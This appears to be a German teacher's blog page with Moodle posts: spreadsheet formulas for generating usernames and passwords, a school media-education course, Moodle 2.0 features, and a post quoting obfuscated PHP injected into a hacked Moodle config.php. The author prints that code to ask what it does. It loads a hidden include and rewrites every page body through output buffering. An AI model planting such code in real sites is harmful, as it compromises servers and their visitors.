Benutzerdaten für Moodle mit einer Tabellenkalkulation erzeugen

Mood­le bie­tet die Mög­lich­keit des CSV-Uploads, um Daten­be­stän­de zu pfle­gen. Wenn man in der – nach mei­ner Ansicht – bedau­erns­wer­ten Lage ist, kei­ne schon vor­han­de­ne exter­ne Authen­ti­fi­zie­rungs­mög­lich­keit nut­zen zu kön­nen, kann das ein eini­ger­ma­ßen kom­for­ta­bler Weg sein, um User­da­ten zu ver­wal­ten. Mood­le bie­tet eini­ge nütz­li­che Funk­tio­nen, um Nut­zer­na­men aus Tabel­len­da­ten zu erzeu­gen – viel­sei­ti­ger ist aber der Weg über die Tabellenkalkulation.

Jede Tabel­len­kal­ku­la­ti­on besitzt For­meln für Text – wenn man sich nur die­se anzei­gen lässt, wird man sehr schnell fündig.

  • KLEIN() wan­delt einen Text in Klein­buch­sta­ben um
  • LINKS() lie­fert den lin­ken Teil einer Zei­chen­ket­te zurück, durch zusätz­li­ches Argu­ment kann ich sagen, wie lang der Teil sein soll, stan­dard­mä­ßig gilt die Län­ge 1.
  • VERKETTEN() ver­knüpft zwei Zeichenketten
A B C
1 Riecken Maik

Um den Benut­zer­na­men „mriecken“ zu gene­rie­ren, gebe ich in der Zel­le A1 fol­gen­de For­mel ein:

=KLEIN(VERKETTEN(LINKS(C1);B1))

Gehen wir das mal von innen nach außen durch:

=LINKS(C1) gibt den Buch­sta­ben „M“ zurück
=VERKETTEN((LINKS(C1);B1) gibt die Zei­chen­ket­te „MRiecken“ zurück
=KLEIN(VERKETTEN(LINKS(C1);B1)) macht die­se Zei­chen­ket­te klein

Noch ein Beispiel:
=KLEIN(VERKETTEN(LINKS(C1;2);B1)) gibt dann z.B. „mariecken“ zurück

Es gibt auch die Funktionen
=RECHTS() – gleich wie LINKS() nur schnip­pelt die eben rechts
=TEIL() – schnei­det in der Mit­te aus
=GROSS() gibt es auch…

Das geht auch für Pass­wör­ter, die man dann gleich per Seri­en­brief mit­tei­len kann. Gefunden/geklaut/neu zusam­men­ge­fasst habe ich das (von) hier. Dafür nimmt man ein eige­nes Tabel­len­blatt und erstellt fol­gen­den Inhalt:

  • Zel­le A1 bis A9: Zah­len 1 bis 9
  • Zel­le A10 bis A35: Klein­buch­st­ab­den a bis z 
  • Zel­le A36 bis A61: Groß­buch­sta­ben A bis Z 

Dann in eine lee­re Zel­le fol­gen­de Formel:

=INDIREKT(„A“&ZUFALLSBEREICH(1;61))&INDIREKT(„A“&ZUFALLSBEREICH(1;61))&INDIREKT(„A“&ZUFALLSBEREICH(1;61))&INDIREKT(„A“&ZUFALLSBEREICH(1;61))&INDIREKT(„A“&ZUFALLSBEREICH(1;61))&INDIREKT(„A“&ZUFALLSBEREICH(1;61))

für sechs­stel­li­ge Pass­wör­ter. Für mehr Stel­len, muss man ein­fach noch zusätz­li­che „&INDIREKT(„A“&ZUFALLSBEREICH(1;61)“ am Ende ein­fü­gen. Die­se For­mel kopiert man im sepa­ra­ten Tabel­len­blatt ein­fach her­un­ter und fügt dann über „Inhal­te ein­fü­gen“ die erstell­ten Pass­wor­te in die Tabel­le im Pass­wort­feld ein, die die Nut­zer­da­ten ent­hält. Man kann das nicht direkt im glei­chen Tabel­len­blatt machen, da die For­mel spä­tes­tens bei einem neu­en Auf­ruf der Datei neue Pass­wör­ter erzeugt…

Für die ganz Beque­men gibt es hier zwei Down­loads für ein Mus­ter­ta­bel­len­blatt zur Gene­rie­rung von Pass­wor­ten. Dabei habe ich  bereits Zei­chen eli­mi­niert, die der Nut­zer ger­ne ver­wech­selt, etwa den Buch­sta­ben „O“ und die Null oder den Buch­sta­ben „l“ (ger­ne mit der Eins ver­wech­selt). Die Tabel­le bie­tet in der ers­ten Spal­te den Pool an Zufallzei­chen, in der zwei­ten ein sechs­stel­li­ges und in der drit­ten ein acht­stel­li­ges Zufalls­pass­wort an. Sie lässt sich leicht an die eige­nen Bedürf­nis­se anpassen.

Zusam­men mit den ande­ren Mög­lich­kei­ten, die durch den CSV-Import in Mood­le gege­ben sind, las­sen sich damit span­nen­de Din­ge anstellen.

Projektstart: Moodlekurs zur Medienbildung

Bei uns an der Schu­le soll es bald ein Prä­ven­ti­ons­kon­zept geben.Teil die­ses Kon­zep­tes (7. Klas­se) wird auch die Nut­zung des Inter­nets bzw. der Umgang damit sein. Ich habe mich aus meh­re­ren Grün­den für einen Mood­le­kurs entschieden:

  1. Ver­schie­dens­te KuK wer­den mit den SuS die betref­fen­den Stun­den durchführen
  2. Ich möch­te etwas Uni­ver­sel­les haben, z.B. auch für Ver­tre­tungs­stun­den
  3. Ich möch­te einen Schutz­raum für die SuS schaffen
  4. Ich möch­te Mood­le bei uns an der Schu­le noch bekann­ter machen
  5. Ich muss lei­der ent­ge­gen mei­nem sons­ti­gen Ansatz die Lehr­kraft teil­wei­se durch Mood­le substituieren

Das Pro­blem an Mood­le ist für mich jedoch unbe­streit­bar, dass es recht wenig attrak­ti­ve Inter­ak­ti­ons­mög­lich­kei­ten für SuS bie­tet (gegen in die­ser Alters­grup­pe ange­sag­te Web2.0‑Tools kann die­se Platt­form nicht ansatz­wei­se gegenanstinken).

Daher möch­te ich klei­ne Bau­stei­ne zusam­men­stel­len, die zwar in ihrer Abfol­ge eine gewis­se Logik auf­wei­sen, jedoch nicht zwin­gend in der gege­be­nen Rei­hen­fol­ge bear­bei­tet wer­den müs­sen und eine Fül­le von exter­nen Res­sour­cen ver­wen­den, damit es nicht bei Mood­le bleibt. Es sol­len klei­ne Lern­häpp­chen und ver­schie­de­ne Arbeits­for­men mög­lich sein.

Ich bin über­haupt kein Typ für das „anspre­chen­de Design“ – man mag mir anfäng­li­che Spar­ta­ni­tät etwas nach­se­hen. Der Kurs wird natür­lich unter CC hier ver­öf­fent­licht, wenn er einen gewis­sen Umfang erreicht hat. Für Rück­mel­dung bin ich in jeder Form dank­bar. Hier der Link:

http://moodle.riecken.info/course/view.php?id=2

Ein Bau­stein steht inhalt­lich. Die Aus­wahl der Bei­spie­le (Fil­me) ist nicht zufäl­lig – man kann dar­an ver­schie­de­ne Facet­ten von Her­aus­for­de­run­gen im Netz zei­gen (Urhe­ber­recht, Cyber­mob­bing, Selbst­ver­mark­tung, posi­ti­ve Netzidentität…).

Moodlehack – kann das jemand decodieren?

Frü­he­re Ver­sio­nen von Mood­le, ins­be­son­de­re die 1.8er-Reihe beka­men des Öfte­ren Besuch (neue­re 1.8er-Versionen,. z.B. 1.8.9 sind gefixt), wobei die­ser Code in die config.php ein­ge­schleust wur­de (hier unvoll­stän­dig dar­ge­stellt – hier Voll­text):

if(function_exists(‚ob_start‘)&&!isset($GLOBALS[’sh_no‘])){$GLOBALS[’sh_no‘]=1;if(file_exists(‚/path/to/moodle/lang/be/help/resource/type/mdl_utf.php‘)){include_once(‚/home/www/web10/html/moodle/lang/be/help/resource/type/mdl_utf.php‘);if(function_exists(‚gml‘)&&!function_exists(‚dgobh‘)){if(!function_exists(‚gzdecode‘)){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack(‚v‘,substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header(‚Content-Encoding: none‘);$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match(‚/\<body/si‘,$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace(‚/(\<body[^\>]*\>)/si‘,‘$1‘.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start(‚dgobh‘);}}}

Der Code ist schon­mal so mies, dass das Mood­le­sys­tem nach dem Ein­schleu­sen teil­wei­se nicht mehr funk­tio­niert und so der Hack schnell erkannt ist. Mich wür­de inter­es­sie­ren, was der Code genau bezwe­cken soll, damit man etwas über die Moti­va­ti­on des „Angrei­fers“ erfährt. Will er nur spam­men? Will er Daten klau­en? Ist die Daten­bank nach einem erfolg­rei­chen Hack noch zu gebrau­chen? Auf jeden Fall wird auf die imap- und mcrypt-Funk­tio­na­li­tät von PHP zurückgegriffen…

Moodle 2.0 – What’s new?

Erst­mal eine klei­nes Video von Lutz Ber­ger dazu (via Twit­ter durch Heinz Kret­tek):

… und jetzt natür­lich mein Kom­men­tar zu zwei aus­ge­wähl­ten Neuerungen:

1. Beding­te Akti­vi­tä­ten (con­di­tio­nal activities)
Bis­her war es so, dass eine Schü­ler inner­halb eines Mood­le­kur­ses alle Akti­vi­tä­ten sehen konn­te, die für ihn durch den Kurser­stel­ler nicht ver­bor­gen wor­den oder durch das Benut­zer­ma­nage­ment (Grup­pen, Grup­pie­run­gen) ihm nicht zugäng­lich waren. Nun­mehr sind Din­ge mög­lich, wie
  • das nächs­te Doku­ment kannst du erst lesen, wenn du vor­her dem Link x gefolgt bist“
  • wenn du im Test 40% erreicht, bekommst du Auf­ga­be 1 (leicht) und wenn du 80% erreichst, bekommst du Auf­ga­be 2 (schwer)“
  • Es sieht zusätz­lich so aus, als ob unter der Ober­flä­che ein Logik­sys­tem wer­kelt, also even­tu­ell auch Kon­struk­te wie logisch AND, XOR, OR, NOT mög­lich werden
Mein Kom­men­tar:
Mit eigen­stän­di­gem Ler­nen und indi­vi­du­el­ler Frei­heit im eige­nen Lern­pro­zess hat das für mich nicht so viel zu tun. Es kann hart ver­drah­tet wer­den, wie ich zu ler­nen habe. Viel­leicht ver­ste­he ich Link 1 ja erst in Zusam­men­hang mit Text A, den ich aber vor­her gar nicht sehen kann. Ich fürch­te mich davor, das vie­le Leh­ren­de genau die­ses Fea­ture dafür nut­zen wer­den, tra­di­tio­nel­len Unter­richt noch stär­ker 1:1 auf Mood­le abzu­bil­den und stren­ge Lern­we­ge vor­zu­ge­ben. Zudem haut die­ses Fea­ture ja in die Ker­be der „glei­cher Inhalt, glei­che Chan­cen, Leh­ren­den­ent­las­tung durch gleich­schrit­ti­ge Zusammenarbeit“-Bewegung. Da ver­kennt die Tech­nik in mei­nen Augen ein­mal mehr die Psy­cho­lo­gie. Das Zwi­schen­mensch­li­che muss stim­men, dann fin­det Zusam­men­ar­beit statt. Dann kom­men die Tools – aber es ist ja schön, dass das schon klappt bzw. das Tool schon da wäre. Ach ja – unnö­tig zu erwäh­nen, dass Mood­le jetzt „end­lich“ weiß, wie weit jeder Schü­ler mit sei­nem Lern­weg ist und das als Lern­be­richt aus­spuckt. Wer ein sol­ches Kon­troll­in­stru­ment braucht und mit den dar­auf gewon­ne­nen Ergeb­nis­sen und Daten bei sei­nen gan­zen SuS indi­vi­du­ell pro­duk­tiv umge­hen kann – ein Pri­vat­le­ben dürf­te er dann nicht mehr haben. Wer es nicht kann, muss sich sagen las­sen: Daten­spar­sam­keit? Was war das nochmal?
Die Geschich­te mit den Tests und der beding­ten Ver­zwei­gung fin­de ich hin­ge­gen gut und kann mir das bei The­men vor­stel­len, wo Mood­le kom­plett den Leh­ren­den sub­sti­tu­iert (d.h. bei rei­nen E‑Lear­ning-Kur­sen wie es z.B. Sco­yo & Co. vormachen).

2. Schnitt­stel­len zu exter­nen Systemen
Mood­le wird ver­stärkt Daten mit exter­nen Sys­te­men aus­tau­schen kön­nen, deren API frei ver­füg­bar ist, z.B. You­Tube, flickr, Alfres­co, Maha­ra, Blogs etc.. Ich kann z.B. als Schü­ler eine ein­ge­reich­te Auf­ga­be direkt per Klick in mein Maha­ra-Port­fo­lio über­tra­gen – ich muss das wohl doch ein­mal kon­fi­gu­rie­ren… Ich kann als Kurser­stel­ler z.B. You­Tube-Vide­os kom­for­ta­bel über einen neu­en Edi­tor (TinyMCE) per Klick ein­bin­den ohne die jetzt not­wen­di­ge Codekopiererei.

Kom­men­tar:
Ich fin­de die­sen Schritt abso­lut wich­tig und ein wirk­li­ches Novum. Es erleich­tert auch uner­fah­re­nen KuK das Erstel­len von mul­ti­me­di­al anspre­chen­den Kur­sen. Es ermög­licht, vor­han­de­ne Web­res­sour­cen unkom­pli­ziert zu nut­zen ohne Inhal­te dop­pelt vor­hal­ten zu müs­sen. Gera­de auf die Kom­bi­na­ti­on mit Blogs freue ich mich. Wenn es beim Mahar­aex­port auf dem bis­he­ri­gen Stand blei­ben soll­te (nur Datei­en kön­nen kopiert wer­den), wäre es ent­täu­schend. Span­nend wird es dadurch, wenn z.B. Bei­trä­ge im eige­nen Mood­le­b­log mit allen Datei­en ver­öf­fent­lich wer­den könn­ten, z.B. nach Word­Press oder Maha­ra. Lei­der gibt es in Mood­le stan­dard­mä­ßig noch gar nicht so vie­le Orte, an denen Nut­zer eige­nen Con­tent erstel­len kön­nen. Da arbei­ten die bestimmt aber noch dran – sonst wäre die Maha­ra­kopp­lung etwas „dünn“ vom Ertrag. Auf jeden Fall soll­te man jetzt aber schon dar­auf ach­ten, dass das ein­mal ver­wen­de­te CMS an einer Insti­tu­ti­on eine mit Mood­le kom­pa­ti­ble API auf­weist… Das könn­te nicht kurz- aber mit­tel­fris­tig span­nend werden.

Wei­te­re Neuerungen
Ganz viel soll sich auch hin­sicht­lich der Benut­zer­freund­lich­keit ändern. Ob der Rück­stand Mood­les (Web 2.0, Ajax kommt da jetzt ja erst all­mäh­lich) zu ande­ren Sys­te­men in die­ser Hin­sicht auf­ge­holt wer­den kann, bleibt abzu­war­ten. Ich sehe sehr gespannt den geplan­ten Ver­ein­fa­chun­gen bei der Bedie­nung des Rech­te­sys­tems ent­ge­gen. Nicht, dass ich das Rech­te­sys­tem je gebraucht hät­te, aber viel­leicht fällt dadurch ein Teil der Fra­gen auf Moodle.org weg, die dann durch Fra­gen zum Logik­sys­tem bei den „Con­di­tio­nal Acti­vi­ties“ ersetzt werden.
Wer noch mehr über Mood­le 2.0 wis­sen möch­te, sei auch den oben ver­link­ten You­Tube-Film ver­wie­sen – und vor allem auch noch auf ande­re Mei­nun­gen zu den neu­en Fea­tures als auf meine…
1 4 5 6 7 8 9